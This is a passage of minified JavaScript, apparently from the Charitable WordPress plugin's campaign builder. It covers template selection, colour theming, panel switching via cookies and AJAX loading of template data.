$.ready.then==="function"){$.ready.then(app.load)}else{app.load()}});$(window).on("beforeunload",function(){if(!that.formIsSaved()&&closeConfirmation){return charitable_builder.are_you_sure_to_close}})},load:function(){if(wpchar.getQueryString("newcampaign")){app.formSave(false)}const event=CharitableUtils.triggerEvent($builder,"CharitableCampaignBuilderReady");if(event.isDefaultPrevented()){return false}app.hideLoadingOverlay();app.initCodeEditor()},ready:function(){if(app.isVisitedViaBackButton()){location.reload();return}app.showLoadingOverlay();s.version="1.8.4.3";$builder=$("#charitable-builder");$builderForm=$("#charitable-builder-form");elements.$helpButton=$("#charitable-help");elements.$previewButton=$("#charitable-preview-btn");elements.$viewCampaignButton=$("#charitable-view-btn");elements.$embedButton=$("#charitable-embed");elements.$statusButton=$("#charitable-status-button");elements.$saveButton=$("#charitable-save");elements.$exitButton=$("#charitable-exit");elements.$templateButton=$(".charitable-panel-template-button");elements.$designButton=$(".charitable-panel-design-button");elements.$settingsButton=$(".charitable-panel-settings-button");elements.$marketingButton=$(".charitable-panel-marketing-button");elements.$paymentButton=$(".charitable-panel-payment-button");elements.$noFieldsOptions=$(".charitable-panel-fields .charitable-no-fields-holder .no-fields");elements.$noFieldsPreview=$(".charitable-panel-fields .charitable-no-fields-holder .no-fields-preview");elements.$formPreview=$(".charitable-panel-fields .charitable-preview-wrap");elements.$revisionPreview=$("#charitable-panel-revisions .charitable-panel-content");elements.$focusOutTarget=null;elements.$preview=$(".charitable-preview");elements.$panelDesign=$("#charitable-panel-design");elements.$nextFieldId=$("#charitable-field-id");elements.$fieldOptions=$("#charitable-field-options");elements.$fieldsPreviewWrap=$(".charitable-panel-fields .charitable-panel-content-wrap"),elements.$sortableFieldsWrap=$(".charitable-panel-fields .charitable-field-wrap");elements.$sortableTabsWrap=$(".charitable-panel-fields .charitable-tab-wrap");elements.$sortableTabNav=$(".charitable-campaign-preview nav.charitable-campaign-preview-nav");elements.$sortableTabContent=$(".charitable-campaign-preview .tab-content");elements.$addFieldsButtons=$(".charitable-add-fields-button").not(".not-draggable").not(".warning-modal").not(".charitable-not-available").not(".charitable-not-installed").not(".charitable-not-activated").not(".charitable-installed-refresh").not(".charitable-addon-file-missing").not(".charitable-need-upgrade");elements.$templatePanel=$("#charitable-panel-template");elements.$templatePreview=$(".charitable-template-preview");elements.$settingsPanel=$("#charitable-panel-settings");elements.$campaignID=$('#charitable-builder-form input[name="id"]');elements.$templateID=$('#charitable-builder-form input[name="template_id"]');elements.$templateLabel=$('#charitable-builder-form input[name="template_label"]');elements.$postStatus=$('#charitable-builder-form input[name="post_status"]');elements.$primaryThemeColorBase=$('#charitable-builder-form input[name="color_base_primary"]');elements.$secondaryThemeColorBase=$('#charitable-builder-form input[name="color_base_secondary"]');elements.$tertiaryThemeColorBase=$('#charitable-builder-form input[name="color_base_tertiary"]');elements.$buttonThemeColorBase=$('#charitable-builder-form input[name="color_base_button"]');app.bindUIActions();s.formID=$builderForm.data("id");s.templateID=$builderForm.data("template-id");s.templateLabel=$builderForm.data("template-label");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");s.primaryThemeColorBase=elements.$primaryThemeColorBase.val().length>0?elements.$primaryThemeColorBase.val():"";s.secondaryThemeColorBase=elements.$secondaryThemeColorBase.val().length>0?elements.$secondaryThemeColorBase.val():"";s.tertiaryThemeColorBase=elements.$tertiaryThemeColorBase.val().length>0?elements.$tertiaryThemeColorBase.val():"";s.buttonThemeColorBase=elements.$buttonThemeColorBase.val().length>0?elements.$buttonThemeColorBase.val():"";s.primaryThemeColor="";s.secondaryThemeColor="";s.tertiaryThemeColor="";s.buttonThemeColor="";s.formSaved=$builderForm.find("#charitable-form-saved").val();s.formSavedStatus=$builderForm.find("#charitable-form-post-status").val();s.formSavedStatusLabel=$builderForm.find("#charitable-form-post-status-label").val();s.formStatus=s.formSavedStatus.length>0?s.formSavedStatus:"draft";s.formStatusLabel=s.formSavedStatusLabel.length>0?s.formSavedStatusLabel:"Draft";s.campaignTitle=$("input#charitable_settings_title").val();s.campaignDescription=$('div[data-special-type="campaign_description"] .campaign-builder-htmleditor').first().html();s.campaignOverview=$('div[data-special-type="campaign_overview"] .campaign-builder-htmleditor').length>0?$('div[data-special-type="campaign_overview"] .campaign-builder-htmleditor').first().html():"";s.maxNumberOfTabs=4;s.denyList={"donation-form":{"donate-button":0,"donation-form":0,"donate-amount":0},"donate-button":{"donation-form":0},"donate-amount":{"donation-form":0}};s.pagebreakTop=$(".charitable-pagebreak-top").length;s.pagebreakBottom=$(".charitable-pagebreak-bottom").length;s.didInitHTMLEditorFields=false;s.quilled=[];s.currentModal=false;$builder.on("keypress","#charitable-builder-form :input:not(textarea)",function(e){if(e.keyCode===13){e.preventDefault()}});$(".charitable-panel").each(function(index,el){var $this=$(this),$configured=$this.find(".charitable-panel-sidebar-section.configured").first();if($configured.length){var section=$configured.data("section");$configured.addClass("active");$this.find(".charitable-panel-content-section-"+section).show().addClass("active");$this.find(".charitable-panel-content-section-default").hide()}else{$this.find(".charitable-panel-content-section").hide().removeClass("active");$this.find(".charitable-panel-content-section").first().show().addClass("active");$this.find(".charitable-panel-sidebar-section:first-of-type").addClass("active")}});app.builderHotkeys();if(typeof jconfirm!=="undefined"){jconfirm.defaults={closeIcon:false,backgroundDismiss:false,escapeKey:true,animationBounce:1,useBootstrap:false,theme:"modern",boxWidth:"400px",animateFromElement:false,draggable:false,content:charitable_builder.something_went_wrong}}$(".campaign-builder-datepicker").each(function(){app.initDatePicker($(this))});$(".campaign-tag-field").each(function(){app.initTagField($(this))});$(".charitable-campaign-suggested-donations").each(function(){app.initSuggestedDonations($(this))});$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.initColorPicker();app.initTemplatePanel();app.initStatusButton();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();app.resizeTopCampaignTitleInputBox();if(false!==app.hasTemplate()){var panel=null!==wpCookies.get("charitable_panel")?wpCookies.get("charitable_panel").trim():false;if(typeof panel!=="undefined"&&panel.length>0&&panel!=="template"){app.panelSwitch(panel)}else{app.panelSwitch("design")}app.checkFieldAllow();app.redirectBasedOnCookies(panel)}else{app.forceTemplateSelect();app.setCampaignTitleNotSet()}app.openModalButtonClick();app.confirmCampaignDeletion();$(".education-buttons button").click(function(){window.open("https://www.wpcharitable.com/pricing/")});$(".campaign-builder-campaign-creator-id select").select2({templateResult:app.campaignCreatorFormatOptions});$(".campaign-builder-campaign-creator-id-mini select").select2({templateResult:app.campaignCreatorFormatOptions})},campaignCreatorFormatOptions(state){if(!state.id){return state.text}var $state=$('<span class="charitable-select2-avatar"><img width="20px" height="20px" style="display: inline-block; float: left; margin-right: 10px;" src="'+state.element.dataset.avatar+'" /> '+state.text+'</span><span class="charitable-select2-meta"> '+state.element.dataset.meta+"</span>");return $state},redirectBasedOnCookies(panel=false){var cookieContentSection=wpCookies.get("charitable_panel_content_section"),cookieActiveFieldId=""!==wpCookies.get("charitable_panel_active_field_id")?parseInt(wpCookies.get("charitable_panel_active_field_id")):"",cookieActiveTabId=wpCookies.get("charitable_panel_tab_section_tab_id"),cookieActiveLayoutOptionsGroup=wpCookies.get("charitable_panel_design_layout_options_group");if($(".charitable-preview").is(":visible")&&""!==cookieActiveTabId&&$('nav.charitable-campaign-preview-nav li[data-tab-id="'+cookieActiveTabId+'"] a').is(":visible")){$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id="'+cookieActiveTabId+'"] a').click()}else if($(".charitable-preview").is(":visible")&&$("#charitable-field-"+cookieActiveFieldId+" a").is(":visible")){app.clickFieldEdit(cookieActiveFieldId)}else if($(".charitable-panel-sidebar").is(":visible")&&$('a.charitable-panel-sidebar-section[data-section="'+cookieContentSection+'"').is(":visible")){$('a.charitable-panel-sidebar-section[data-section="'+cookieContentSection+'"').click()}else if(""!==cookieActiveFieldId&&$("#charitable-field-"+cookieActiveFieldId).is(":visible")){$("#charitable-field-"+cookieActiveFieldId).click()}else if($(".charitable-panel-sidebar").is(":visible")&&cookieContentSection&&cookieContentSection!=="layout-options"&&$(".charitable-tabs").is(":visible")&&$(".charitable-tabs li#"+cookieContentSection+" a").is(":visible")){$(".charitable-tabs li#"+cookieContentSection+" a").click()}else if(false===panel&&false!==app.hasTemplate()){app.panelSwitch("design")}else{wpchar.debug("redirectBasedOnCookies nothing")}},clickFieldEdit(fieldId){$("#charitable-field-"+fieldId+" a.charitable-field-edit").click()},refreshTabFieldsSortDrag(){elements.$sortableTabContent=$(".charitable-campaign-preview .tab-content")},hasTemplate(){if(typeof s.templateID!=="undefined"&&s.templateID.length>0){return true}var templateID=parseInt(elements.$templateID.val());if(templateID>0){return true}return false},forceTemplateSelect(){$("#charitable-panels-toggle").find("button").removeClass("active").addClass("disabled");elements.$templateButton.removeClass("disabled").addClass("active");app.panelSwitch("template")},unforceTemplateSelect(){$("#charitable-panels-toggle").find("button").removeClass("disabled")},disableTemplateSelect(){elements.$templateButton.removeClass("active").addClass("disabled")},updateTemplateID(templateID="",templateLabel=""){elements.$templateID.val(templateID);elements.$templateLabel.val(templateLabel);app.updateThemeCSS(null,templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,false);$(".charitable-preview").removeClass(function(index,className){return(className.match(/(^|\s)charitable-builder-template-\S+/g)||[]).join(" ")}).addClass("charitable-builder-template-"+templateID);if(templateLabel!==""){$(".charitable-preview-top-bar .charitable-campaign-theme-label").text(templateLabel)}else if(templateID!==""){$(".charitable-preview-top-bar .charitable-campaign-theme-label").text(templateID)}},updateThemeCSS(whatChanged=null,templateID="",primaryThemeColor="",secondaryThemeColor="",tertiaryThemeColor="",buttonThemeColor="",justColors=true){if(""===templateID&&""===s.templateID){return}if(typeof s.primaryThemeColor==="undefined"||""===primaryThemeColor){if(typeof s.primaryThemeColor!=="undefined"&&""!==s.primaryThemeColor){primaryThemeColor=s.primaryThemeColor}else if(typeof s.primaryThemeColorBase!=="undefined"&&""!==s.primaryThemeColorBase){primaryThemeColor=s.primaryThemeColorBase}else{primaryThemeColor="000000"}}if(typeof s.secondaryThemeColor==="undefined"||""===secondaryThemeColor){if(typeof s.secondaryThemeColor!=="undefined"&&""!==s.secondaryThemeColor){secondaryThemeColor=s.secondaryThemeColor}else if(typeof s.secondaryThemeColorBase!=="undefined"&&""!==s.secondaryThemeColorBase){secondaryThemeColor=s.secondaryThemeColorBase}else{secondaryThemeColor="000000"}}if(typeof s.tertiaryThemeColor==="undefined"||""===tertiaryThemeColor){if(typeof s.tertiaryThemeColor!=="undefined"&&""!==s.tertiaryThemeColor){tertiaryThemeColor=s.tertiaryThemeColor}else if(typeof s.tertiaryThemeColorBase!=="undefined"&&""!==s.tertiaryThemeColorBase){tertiaryThemeColor=s.tertiaryThemeColorBase}else{tertiaryThemeColor="000000"}}if(typeof s.buttonThemeColor==="undefined"||""===buttonThemeColor){if(typeof s.buttonThemeColor!=="undefined"&&""!==s.buttonThemeColor){buttonThemeColor=s.buttonThemeColor}else if(typeof s.buttonThemeColorBase!=="undefined"&&""!==s.buttonThemeColorBase){buttonThemeColor=s.buttonThemeColorBase}else{buttonThemeColor="000000"}}primaryThemeColor=primaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");secondaryThemeColor=secondaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");tertiaryThemeColor=tertiaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");buttonThemeColor=buttonThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");var colorQueryString="p="+primaryThemeColor+"&s="+secondaryThemeColor+"&t="+tertiaryThemeColor+"&b="+buttonThemeColor+"&ver="+s.version;if(justColors===false){$('link[id="charitable-builder-template-preview-theme-css"]').attr("href",charitable_builder.charitable_rest_url+"campaign-css-admin/"+templateID+"?"+colorQueryString)}if(whatChanged!==null){app.replaceCSSFile(whatChanged,templateID,colorQueryString)}else{app.replaceCSSFile("primary",templateID,colorQueryString);app.replaceCSSFile("secondary",templateID,colorQueryString);app.replaceCSSFile("tertiary",templateID,colorQueryString);app.replaceCSSFile("button",templateID,colorQueryString)}},replaceCSSFile:function(whatChanged,templateID,colorQueryString){$("head").find("link#charitable-builder-template-preview-theme-colors-"+whatChanged+"-css").remove();$("head").append('<link rel="stylesheet" data-color-type="'+whatChanged+'" id="charitable-builder-template-preview-theme-colors-temp" href="'+charitable_builder.charitable_rest_url+"campaign-css-admin/"+templateID+"-colors?"+colorQueryString+'" type="text/css" media="screen">');$("#charitable-design-wrap").addClass("loading");setTimeout(function(){$("head").find("#charitable-builder-template-preview-theme-colors-temp").attr("id","charitable-builder-template-preview-theme-colors-"+whatChanged+"-css");$("#charitable-design-wrap").removeClass("loading")},250)},searchTemplate:function(e){e.preventDefault();let $active=$(".charitable-setup-templates-categories li.active"),category=$active.data("category"),searchQuery=$(this).val();app.performSearch(searchQuery,category)},performSearch(query="",category=""){let $templateList=elements.$templatePreview.find(".charitable-template-list");if(query===""&&(category===""||category==="all")){$templateList.find(".charitable-template-list-container-item").removeClass("charitable-hidden")}else{$templateList.find(".charitable-template-list-container-item").addClass("charitable-hidden");if(query!==""&&category!==""&&category!=="all"){$templateList.find('.charitable-template[data-template-tags*="'+query+'"][data-template-categories*="'+category+'"]').parent().removeClass("charitable-hidden")}else if(query!==""&&(category===""||category==="all")){$templateList.find('.charitable-template[data-template-tags*="'+query+'"],.charitable-template[data-template-categories*="'+query+'"]').parent().removeClass("charitable-hidden")}else{$templateList.find('.charitable-template[data-template-tags*="'+category+'"],.charitable-template[data-template-categories*="'+category+'"]').parent().removeClass("charitable-hidden")}}var numItems=$(".charitable-template-list-container-item").not(".hidden").length;$(".charitable-templates-no-results").toggle(!numItems);if(!elements.$templatePreview.find("#charitable-setup-template-search").val()){elements.$templatePreview.find(".charitable-setup-templates-search-wrap .fa-close").hide()}else{elements.$templatePreview.find(".charitable-setup-templates-search-wrap .fa-close").show()}app.showCheckTemplateList();app.showUpgradeBanner()},selectCategory:function(e){e.preventDefault();let $item=$(this),$active=$item.closest("ul").find(".active"),category=$item.data("category"),searchQuery=$("#charitable-setup-template-search").val();$active.removeClass("active");$item.addClass("active");app.performSearch(searchQuery,category)},showUpgradeBanner:function(){if(!$("#tmpl-charitable-templates-upgrade-banner").length){return}if($("#charitable-template-list .charitable-template-upgrade-banner").length>0){$("#charitable-template-list .charitable-template-upgrade-banner").remove()}if(!app.isFunction(wp.template)){wpchar.debug("wp.template not a function");return}else{wpchar.debug("wp.template is a function")}let template=wp.template("charitable-templates-upgrade-banner");if(!template){return}const $templates=$("#charitable-template-list .charitable-template-list-container-item:not(.charitable-hidden)"),$insertPoint=$("#charitable-template-list .charitable-template-list-container-item");if($templates.length>5){$("#charitable-template-list .charitable-template-list-container > div:last-child").after(template());return}$insertPoint.last().after(template())},showCheckTemplateList:function(){if($("#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-blank").addClass("charitable-hidden");$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}else{$("#charitable-template-list .charitable-template-list-section-blank").removeClass("charitable-hidden");$("#charitable-template-list .charitable-template-list-section-prebuilt").removeClass("charitable-hidden")}if($("#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}else{$("#charitable-template-list .charitable-template-list-section-prebuilt").removeClass("charitable-hidden")}if($("#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)").length>0&&$("#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}},initStatusButton:function(formStatus="",formStatusLabel=""){var $statusDropdown=$("ul#charitable-status-dropdown");if(formStatus==""&&s.formStatus.length>0){formStatus=s.formStatus}if(formStatusLabel==""&&s.formStatusLabel.length>0){formStatusLabel=s.formStatusLabel}$statusDropdown.addClass("charitable-hidden");$("#charitable-status-button").removeClass("active");$("#charitable-status-button span.text").html(formStatusLabel);$("#charitable-status-button").attr("data-status",formStatus);$statusDropdown.find("a").removeClass("charitable-hidden");$statusDropdown.find("a.switch-"+formStatus).addClass("charitable-hidden");$statusDropdown.find("a."+formStatus).addClass("charitable-hidden");if(formStatus==="draft"){}else if(formStatus==="publish"){}},initTemplatePanel:function(){$("#charitable-template-container").on("keyup","#charitable-setup-template-search",app.searchTemplate).on("click",".charitable-setup-templates-categories li",app.selectCategory);if(!s.didInitHTMLEditorFields){$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}elements.$templatePreview.on("click",".charitable-template-lite-to-pro a.button, .charitable-setup-templates-feedback a.send-feedback",function(e){e.preventDefault();$(".charitable-panel-content-wrap").animate({scrollTop:0},500);$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');$(".charitable-feedback-form-container").css("opacity","100").css("visibility","visible");$(".charitable-feedback-form-container").find(".charitable-feedback-form-interior").removeClass("charitable-hidden");$(".charitable-feedback-form-container").find("textarea").val("");$(".charitable-feedback-form-interior-confirmation").addClass("charitable-hidden")});$builderForm.on("click","#charitable-feedback-form .charitable-templates-close-icon, #charitable-feedback-form-confirmation .charitable-templates-close-icon",function(e){e.preventDefault();$(".charitable-template-list-container").removeClass("disabled");$(".charitable-builder-underlay").remove();$("#charitable-panel-template .charitable-feedback-form-container").css("opacity","0").css("visibility","hidden")});$builderForm.on("click",".template-buttons a.preview-campaign",function(e){e.preventDefault();$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');const previewBox=$(this).closest(".charitable-template"),templateLabel=typeof previewBox.data("template-label")!=="undefined"?previewBox.data("template-label"):"",templateDescription=typeof previewBox.data("template-description")!=="undefined"?previewBox.data("template-description"):"",templatePreviewURL=typeof previewBox.data("template-preview-url")!=="undefined"?previewBox.data("template-preview-url"):"",templateCode=typeof previewBox.data("template-code")!=="undefined"?previewBox.data("template-code"):"";$("#charitable-builder-modal-template-preview").find("h4").html(templateLabel);$("#charitable-builder-modal-template-preview").find(".charitable-templates-preview-description").html("<p>"+templateDescription+"</p>");$("#charitable-builder-modal-template-preview").find("img").attr("src",templatePreviewURL);$("#charitable-builder-modal-template-preview").find("img").attr("alt",templateLabel);$("#charitable-builder-modal-template-preview").find("a.button-link").attr("data-template-id",templateCode);$(".charitable-builder-modal.charitable-builder-modal-template-preview").addClass("active")});$builderForm.on("click","#charitable-templates-preview-form .charitable-templates-close-icon",function(e){e.preventDefault();$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active")});elements.$templatePreview.on("click","nav.charitable-template-tabs a",function(e){e.preventDefault();var $this=$(this),templateTabFilter=$this.data("template-tab-filter")?$this.data("template-tab-filter"):false,$templateList=elements.$templatePreview.find(".charitable-template-list ");elements.$templatePreview.find("nav.charitable-template-tabs a").removeClass("active");$this.addClass("active");$templateList.find(".charitable-template").removeClass("hidden");if(templateTabFilter){$templateList.find('.charitable-template[data-template-type!="'+templateTabFilter+'"]').addClass("hidden")}});elements.$templatePreview.on("click","a.charitable-trigger-blank",function(e){e.preventDefault();$("#charitable-template-list .charitable-template-upgrade-banner").remove();elements.$templatePreview.find("#charitable-setup-template-search").val("simple").trigger("keyup").addClass("highlighted").addClass("with-x");elements.$templatePreview.find(".charitable-setup-templates-categories").find("li[data-category=all").click();app.showCheckTemplateList();app.showUpgradeBanner()});elements.$templatePreview.on("click","i.fa-close",function(e){elements.$templatePreview.find("#charitable-setup-template-search").val("").trigger("keyup").removeClass("highlighted")});elements.$templatePreview.on("click",".button.create-campaign",function(e){e.preventDefault();if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:"<p>"+charitable_builder.error_already_started_campaign+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){s.templateID=$(this).closest(".charitable-template").data("template-code");s.templateLabel=$(this).closest(".charitable-template").data("template-label");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));app.restartForm(s.templateID,null,s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})}else{s.templateID=$(this).closest(".charitable-template").data("template-code");s.templateLabel=$(this).closest(".charitable-template").data("template-label");var $titleInput=$("input#charitable_settings_title");var currentTitle=$titleInput.val()||s.campaignTitle||"";if((!currentTitle||$.trim(currentTitle)==="")&&s.templateLabel){app.updateFormUI("title",s.templateLabel)}s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));app.updateTemplateID(s.templateID,s.templateLabel);app.unforceTemplateSelect();app.enableFormActions();app.restartForm(s.templateID,"design",s.templateLabel);app.restartTemplateScreen(s.templateID);if(!s.didInitHTMLEditorFields){$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}CharitableUtils.triggerEvent($builder,"charitableCampaignFormScreen",[s.templateID])}});$builder.on("click",".button-preview-create-campaign",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data("template-id");if(theTemplateID!==""){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active");if($('#charitable-template-list .charitable-template[data-template-code="'+theTemplateID+'"] .button.update-campaign').length>0){elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.update-campaign").click()}else{elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.create-campaign").click()}}});$builder.on("click",".button-preview-update-campaign",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data("template-id");if(theTemplateID!==""){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active");if($('#charitable-template-list .charitable-template[data-template-code="'+theTemplateID+'"] .button.update-campaign').length>0){elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.update-campaign").click()}else{elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.create-campaign").click()}}});elements.$templatePreview.on("click",".button.update-campaign",function(e){e.preventDefault();var theButton=$(this);if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:"<p>"+charitable_builder.error_already_started_campaign+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){s.templateID=theButton.closest(".charitable-template").data("template-code");s.templateLabel=theButton.closest(".charitable-template").data("template-label");app.updateTemplateID(s.templateID,s.templateLabel);s.primaryThemeColorBase=s.primaryThemeColor=theButton.closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=theButton.closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=theButton.closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=theButton.closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));$("#charitable-template-list .charitable-template").removeClass("active");$("#charitable-template-list .charitable-banner-container").each(function(){$(this).addClass("charitable-hidden");$(this).parent().find(".template-buttons").removeClass("charitable-hidden")});theButton.closest(".charitable-template").addClass("active");theButton.closest(".charitable-template").find(".template-buttons").addClass("charitable-hidden");theButton.closest(".charitable-template").find(".charitable-banner-container").removeClass("charitable-hidden");$(".charitable-setup-desc.secondary-text strong.template-name").html(s.templateLabel);wpchar.debug("chose this path");app.restartForm(s.templateID,"design",s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})}});app.showUpgradeBanner()},restartTemplateScreen:function(templateID=0){if(templateID===""||templateID===0){templateID=s.templateID}if(templateID===""||templateID===0){return}const templateList=$(".charitable-template-list-container");templateList.find(".template-buttons").remove(".preview-campaign");templateList.find(".button.create-campaign").removeClass("create-campaign").addClass("update-campaign").html(charitable_builder.update_campaign);templateList.find(".charitable-template").removeClass("active");templateList.find(".charitable-template .charitable-banner-container").addClass("charitable-hidden");templateList.find('.charitable-template[data-template-code="'+templateID+'"]').addClass("active");templateList.find('.charitable-template[data-template-code="'+templateID+'"] .charitable-banner-container').removeClass("charitable-hidden")},restartForm:function(templateID=0,panel="design",templateLabel=false){app.updateTemplateID(templateID,templateLabel);app.showLoadingOverlay();var data={action:"charitable_get_campaign_builder_template_data",id:templateID,title:s.campaignTitle,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,data,function(response){if(response.success){$("#charitable-field-options .charitable-layout-options-group-inner").find(".charitable-panel-field").remove();$("#charitable-field-options .charitable-select-field-notice").show();s.quilled=[];elements.$nextFieldId.val(0);app.hideLoadingOverlay();var previewLayout=typeof response.data.preview!=="undefined"?response.data.preview:false,previewFieldOptions=typeof response.data.field_options!=="undefined"?response.data.field_options:false,previewTabOptions=typeof response.data.tab_options!=="undefined"?response.data.tab_options:false,previewAdvancedOptions=typeof response.data.advanced!=="undefined"?response.data.advanced:false;if(previewLayout){app.addLayoutToPreview(previewLayout)}else{wpchar.debug("previewLayout is false or not defined")}if(previewFieldOptions){app.addFieldOptions(previewFieldOptions)}else{wpchar.debug("previewFieldOptions is false or not defined")}if(previewTabOptions){app.addTabOptions(previewTabOptions)}else{wpchar.debug("previewTabOptions is false or not 